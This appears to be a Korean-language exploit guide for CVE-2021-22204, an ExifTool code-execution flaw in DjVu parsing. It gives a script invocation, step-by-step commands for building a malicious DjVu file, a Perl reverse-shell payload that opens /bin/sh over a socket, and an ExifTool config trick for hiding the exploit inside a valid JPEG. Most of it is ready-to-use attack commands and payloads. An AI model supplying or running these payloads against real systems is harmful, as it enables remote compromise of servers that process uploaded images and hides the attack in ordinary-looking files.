
CVE-2021-22204에 대한 익스플로잇 스크립트 및 수동 익스플로잇 가이드, ExifTool에서 악성 DjVu 이미지를 통한 임의 코드 실행 취약점입니다. 페이로드 생성 및 리버스 셸 기술을 포함합니다.
ExifTool 7.44 이상 버전에서 DjVu 파일 형식의 사용자 데이터 부적절한 무력화로 인해 악성 이미지 파싱 시 임의 코드 실행이 가능합니다.

시스템 명령:
bash CVE-2021-2204.sh "system('id')" happy.jpg
리버스 셸:
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg
*자신의 IP와 포트
$ sudo apt install djvulibre-bin
# 필요한 도구를 설치합니다.
$ bzz payload payload.bzz
# 페이로드 파일을 압축하여 사람이 읽을 수 없게 만듭니다.
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = 'N,N' 형식의 숫자 (N은 숫자)
# BGjp = JPEG 이미지를 기대하지만 /dev/null을 사용하여 배경 이미지 없이 사용 가능
# ANTz = 압축된 주석 청크를 입력 파일과 함께 기록합니다.
페이로드
(metadata "\c${system('id')};")
페이로드 (리버스 셸용)
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")
그런 다음, 피해자가 취약한 버전의 ExifTool으로 exploit.djvu 파일을 열면 포함된 Perl 코드가 id 명령을 실행합니다.
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end%
이 파일이 하는 일은 파일에 새 태그를 쓸 수 있게 해주며, 태그 이름은 HasselbladExif, 식별 바이트는 0xc51b입니다. 그런 다음 이 태그를 모든 파일에 삽입할 수 있습니다. [8]그리고 이를 이미 만들어진 exploit.djvu와 함께 사용하여 악성 DjVu 파일을 유효한 JPEG 내부에 삽입합니다.
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg
configfile = 설정 파일의 이름;
-HasselbladExif = 설정 파일에 지정된 태그 이름;
exploit.djvu = djvumake로 미리 만든 익스플로잇;
hacker.jpg = 유효한 JPEG 파일;
출처 및 도움말: https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/